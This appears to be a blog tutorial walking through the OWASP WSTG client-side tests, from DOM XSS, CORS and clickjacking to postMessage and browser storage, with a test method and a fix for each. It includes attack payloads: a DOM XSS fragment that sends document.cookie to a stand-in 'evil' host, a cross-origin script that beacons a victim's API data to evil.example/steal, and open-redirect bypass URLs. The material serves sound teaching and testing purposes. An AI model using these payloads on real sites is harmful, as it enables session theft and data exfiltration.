OWASP WSTG v4.2 Explained

OWASP WSTG: Part 12 - Client-side Testing

WSTG v4.2 section 4.11 explained: DOM XSS, JavaScript and HTML injection, client-side URL redirect, CSS injection, resource manipulation, CORS, cross-site flashing, clickjacking, WebSockets, web messaging, browser storage and cross-site script inclusion.

11 min read
views
visits
OWASP WSTG Part 12 - Client-side Testing
OWASP WSTG Part 12 - Client-side Testing

Modern web apps run a lot of code in the browser: single-page frameworks, inline scripts, third-party widgets, WebSockets and cross-window messaging. That code handles untrusted data too, and when it does so unsafely the vulnerability lives entirely on the client, often invisible to a server-side scanner.

Client-side testing (WSTG section 4.11, IDs WSTG-CLNT-*) has 13 tests covering DOM-based XSS, injection into the page, redirect and resource manipulation, CORS, clickjacking, WebSockets, postMessage, browser storage and script inclusion.

Source: WSTG v4.2 §4.11 Client-side Testing (CC BY-SA 4.0), explained and expanded. Only test systems you are authorised to test.


Key Takeaways

  • The vulnerability is in the browser: untrusted data reaches a dangerous JavaScript/DOM sink.
  • Trace source → sink: from where data enters (URL, postMessage, storage) to where it is used (innerHTML, eval, location).
  • Misconfiguration is as dangerous as injection: a wildcard CORS policy or a missing frame-ancestors header can be critical.
  • Third parties count: widgets, CDNs and messages from other windows are all untrusted input.
  • Fix on the client the same way as the server: validate input, and use safe sinks / correct encoding for the context.

Source to Sink

flowchart LR
    SRC["Sources<br/>location/URL, postMessage,<br/>storage, WebSocket, CORS response"] --> JS["Client JavaScript"]
    JS --> SINK{"Dangerous sink?"}
    SINK -->|"innerHTML, document.write"| X["DOM XSS / HTML injection"]
    SINK -->|"eval, setTimeout(string)"| JSE["JS execution"]
    SINK -->|"location, href"| RED["Open redirect / resource manip"]
    SINK -->|"style, CSS"| CSS["CSS injection"]

WSTG-CLNT-01: DOM-Based XSS

What it checks: XSS where the payload never needs to reach the server: client JavaScript reads attacker-controlled data (a source) and writes it to a dangerous sink.

Common sources: location, location.hash, location.search, document.referrer, window.name, postMessage, localStorage/sessionStorage. Common sinks: innerHTML, outerHTML, document.write, eval, setTimeout/setInterval with a string, element.src, jQuery .html().

How to test: inject a probe into a source and see if it reaches a sink unescaped:

1
2
https://example.com/page#<img src=x onerror=alert(document.domain)>
https://example.com/#javascript:alert(1)

Trace in DevTools or with Burp’s DOM Invader; grep the JS for sinks and work backwards to the source.

Fix: use safe sinks (textContent, not innerHTML), framework auto-escaping, DOMPurify for HTML that must be rendered, and a CSP. See the DOM XSS Prevention Cheat Sheet.


WSTG-CLNT-02: JavaScript Execution

What it checks: a subtype of DOM XSS where input reaches a JavaScript-executing sink directly (eval, Function, setTimeout("..."), javascript: URLs).

How to test: find input flowing into these sinks and inject executable expressions. A javascript: URL in an href built from user input is a classic case.

Fix: never pass user input to eval/Function; block javascript: URLs; validate and encode.


WSTG-CLNT-03: HTML Injection

What it checks: injecting arbitrary HTML (not necessarily script) into the page, enabling defacement, phishing content, or hidden forms that capture input.

How to test: inject HTML markers (<h1>test</h1>, an <iframe>, a fake login <form>) into reflected or stored inputs and see if it renders.

Fix: encode output for the HTML context; sanitise any HTML that must be allowed.


WSTG-CLNT-04: Client-side URL Redirect (Open Redirect)

What it checks: whether the app redirects to a URL taken from user input, letting an attacker send a trusted-looking link that lands on their site (phishing, or stealing OAuth tokens).

How to test:

1
2
3
https://example.com/redirect?url=https://evil.example
https://example.com/login?next=//evil.example
#?returnTo=https://evil.example   (client-side variant)

Test bypasses: //evil, https:evil, https://example.com.evil, https://example.com@evil, encoded variants.

Fix: redirect only to an allow-list of paths/hosts; avoid taking full URLs from users; if you must, validate the host strictly.


WSTG-CLNT-05: CSS Injection

What it checks: injecting attacker-controlled CSS into a trusted page, which can deface, overlay content, or exfiltrate data (attribute selectors that leak characters of a secret via background-image requests).

How to test: inject CSS (}body{background:red} or an @import/attribute-selector probe) into inputs reflected in a <style> block or a style= attribute.

Fix: do not let users control CSS; encode input in style contexts; restrict with CSP (style-src).


WSTG-CLNT-06: Client-side Resource Manipulation

What it checks: user input that controls the source of a resource the page loads: an iframe src, a script src, a link href, an XHR/fetch URL. An attacker can point these at malicious content.

How to test: find parameters that set a resource URL (?template=, ?widget=, hash values) and try pointing them at attacker-controlled or javascript: URLs.

Fix: allow-list resource origins; do not build script/iframe sources from user input.


WSTG-CLNT-07: Cross-Origin Resource Sharing (CORS)

What it checks: whether the CORS configuration lets untrusted origins read authenticated responses.

How to test: send requests with different Origin headers and read the response:

1
curl -si https://api.example.com/me -H 'Origin: https://evil.example' | grep -i access-control

Dangerous patterns:

  • Access-Control-Allow-Origin: * with credentials, or reflecting any Origin back with Access-Control-Allow-Credentials: true.
  • Access-Control-Allow-Origin: null (an attacker can obtain a null origin).
  • Weak origin checks: evil-example.com, example.com.evil.com, substring matches.

What a finding looks like: Origin: https://evil.example reflected back with credentials allowed, so a malicious site reads the victim’s authenticated data.

Fix: allow only specific trusted origins (never reflect arbitrary ones), do not combine * with credentials, avoid null, and anchor the origin check.


WSTG-CLNT-08: Cross-Site Flashing

What it checks: vulnerabilities in Adobe Flash (.swf) applications: unsafe ActionScript sinks, parameters that flow to getURL/ExternalInterface, insecure allowScriptAccess.

How to test (legacy): decompile the SWF and review ActionScript for untrusted input reaching dangerous sinks.

Fix: Flash is end-of-life; remove remaining SWF content. Where it must stay, set allowScriptAccess=never/sameDomain and validate FlashVars.


WSTG-CLNT-09: Clickjacking

What it checks: whether the application can be loaded in an attacker’s <iframe>, so a victim is tricked into clicking hidden buttons (UI redressing) to perform real actions.

How to test: try to frame a sensitive page and see if it loads:

1
<iframe src="https://example.com/account/settings" style="opacity:0.1"></iframe>

Then confirm it is unframeable: check for X-Frame-Options: DENY/SAMEORIGIN or CSP frame-ancestors. Absence of both, plus a successful frame of a state-changing page, is the finding (SameSite cookies or framebusting JS may still defeat it, so prove a real action survives).

Fix: send Content-Security-Policy: frame-ancestors 'none' (or specific origins) and X-Frame-Options, and set SameSite cookies.


WSTG-CLNT-10: WebSockets

What it checks: security of WebSocket (ws:///wss://) connections: encryption, origin validation, authentication, and input handling over the socket.

How to test: intercept the connection (Burp supports WebSockets) and check:

  • wss:// (encrypted), not ws://.
  • Origin check on the handshake: can a different origin connect (cross-site WebSocket hijacking)?
  • Authentication/authorization on messages, not just the handshake.
  • Injection via message content (XSS, SQLi) handled the same as HTTP input.

Fix: use wss://, validate the Origin on the handshake, authenticate and authorize every message, and validate/encode message data.


WSTG-CLNT-11: Web Messaging (postMessage)

What it checks: window.postMessage handlers that trust messages without verifying the sender’s origin, letting a malicious window inject data or script.

How to test: find addEventListener('message', ...) handlers and check whether they verify event.origin and avoid dangerous sinks with event.data.

1
2
3
4
window.addEventListener('message', e => {
  // Missing origin check + innerHTML sink = vulnerable
  document.getElementById('out').innerHTML = e.data;
});

Fix: always check event.origin against an allow-list, validate event.data, and never feed it to innerHTML/eval. On the sending side, specify a target origin, not *.


WSTG-CLNT-12: Browser Storage

What it checks: sensitive data stored unsafely in localStorage, sessionStorage, IndexedDB, Web SQL or cookies on the client.

How to test: inspect browser storage (DevTools → Application) for session tokens, JWTs, personal data or secrets. Note that localStorage is readable by any script on the origin, so an XSS steals it (unlike an HttpOnly cookie).

Fix: keep session tokens in HttpOnly/Secure cookies, not localStorage; store the minimum on the client; clear sensitive storage on logout.


WSTG-CLNT-13: Cross-Site Script Inclusion (XSSI)

What it checks: whether sensitive data served as a script (or JSON/JSONP) can be read cross-origin by including it with <script>, bypassing the same-origin policy.

How to test: find endpoints returning JavaScript/JSONP that contain user data, include them from a different origin, and see if the data is readable (e.g. via overridden array/object constructors, or a JSONP callback).

Fix: do not serve sensitive data as executable script/JSONP; require authentication and proper Content-Type; add anti-XSSI prefixes ()]}',\n) to JSON; use CORS deliberately instead of JSONP.


Worked Example 1: DOM XSS, Source to Sink and the Fix (CLNT-01)

The server is not involved: the payload travels from a browser source to a dangerous sink entirely in client JavaScript.

Vulnerable — a “search” widget reflects the URL fragment into the page with innerHTML:

1
2
3
4
5
6
<h2>Results for: <span id="term"></span></h2>
<script>
  // source: location.hash   ->   sink: innerHTML
  const q = decodeURIComponent(location.hash.slice(1));
  document.getElementById('term').innerHTML = q;
</script>

Exploit — the payload is in the fragment, so it never reaches the server (and never appears in server logs):

1
https://example.com/search#<img src=x onerror="fetch('https://evil/?c='+document.cookie)">

Fixed — use a sink that cannot execute markup (textContent), and sanitise if HTML really must be rendered:

1
2
3
4
5
6
<script>
  const q = decodeURIComponent(location.hash.slice(1));
  document.getElementById('term').textContent = q;         // inert: renders as text
  // if HTML is genuinely required:
  // el.innerHTML = DOMPurify.sanitize(q);
</script>

Add a Content Security Policy so that even a missed sink cannot run inline script:

1
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'none'

Worked Example 2: A CORS Policy That Leaks Authenticated Data (CLNT-07)

Vulnerable — the server reflects whatever Origin it is sent and allows credentials:

1
2
3
4
5
app.use((req, res, next) => {
  res.header('Access-Control-Allow-Origin', req.headers.origin);   // reflects ANY origin
  res.header('Access-Control-Allow-Credentials', 'true');          // ...with cookies
  next();
});

Exploit — a page on evil.example reads the victim’s private API response cross-origin:

1
2
3
fetch('https://api.example.com/me', { credentials: 'include' })
  .then(r => r.text())
  .then(data => navigator.sendBeacon('https://evil.example/steal', data));
1
2
3
4
# the test that reveals it: an arbitrary Origin is echoed back with credentials
curl -si https://api.example.com/me -H 'Origin: https://evil.example' | grep -i access-control
# Access-Control-Allow-Origin: https://evil.example
# Access-Control-Allow-Credentials: true

Fixed — allow only specific, trusted origins, and never combine a wildcard (or reflected origin) with credentials:

1
2
3
4
5
6
7
8
9
10
const ALLOWED = new Set(['https://app.example.com']);
app.use((req, res, next) => {
  const origin = req.headers.origin;
  if (ALLOWED.has(origin)) {
    res.header('Access-Control-Allow-Origin', origin);   // exact match only
    res.header('Vary', 'Origin');
    res.header('Access-Control-Allow-Credentials', 'true');
  }
  next();
});

The two examples show the category’s split personality: injection (DOM XSS) where you inject into a sink, and misconfiguration (CORS) where a header setting alone is the vulnerability. Both are invisible to a purely server-side scanner, which is why client-side testing needs the browser and a proxy.


Hands-on Practice

  • PortSwigger Academy — labs for DOM-based XSS, CORS, clickjacking and WebSockets.
  • Juice Shop — the DOM XSS and “CORS” challenges.
  • Burp DOM Invader (built into Burp’s browser) — automatically traces sources to sinks for you.

Checklist: Client-side

ID Test Key tools
WSTG-CLNT-01 DOM-based XSS Burp DOM Invader, DevTools, grep sinks
WSTG-CLNT-02 JavaScript execution Source review, Burp
WSTG-CLNT-03 HTML injection Burp
WSTG-CLNT-04 Client-side URL redirect Burp, payload list
WSTG-CLNT-05 CSS injection Burp
WSTG-CLNT-06 Client-side resource manipulation Source review, Burp
WSTG-CLNT-07 CORS curl with Origin, Burp
WSTG-CLNT-08 Cross-site flashing SWF decompiler (legacy)
WSTG-CLNT-09 Clickjacking Frame PoC, header check
WSTG-CLNT-10 WebSockets Burp WebSockets
WSTG-CLNT-11 Web messaging (postMessage) DevTools, source review
WSTG-CLNT-12 Browser storage DevTools Application tab
WSTG-CLNT-13 Cross-site script inclusion Burp, cross-origin PoC

Previous: Part 11 - Business Logic · Next: Part 13 - API Testing


References

Further reading & tooling

Comments

Questions, corrections or another approach? Comment with your GitHub account.

Open Research & Community Labs
صدقة جارية • Ongoing Charity

Empowering the Cybersecurity Community

All research, lab walkthroughs, and technical series on this platform remain 100% free. You can support server hosting, research environments, and lab infrastructure.

Support & Wall of Honor
اللهم اجعل هذا العمل علمًا نافعًا وصدقةً جارية، واكتب لي به الأجر والقبول، وانفع به كل من قرأه أو تعلّمه.
اللهم احفظ لي والديّ وأهلي، وبارك في أعمارهم وصحتهم، وأدم عليهم نعمة الصحة والعافية، ولا تريني فيهم بأسًا يبكيني.
Dedicated as ongoing charity and beneficial knowledge. May Allah bless my parents and family, protect them, and grant them lasting health and happiness.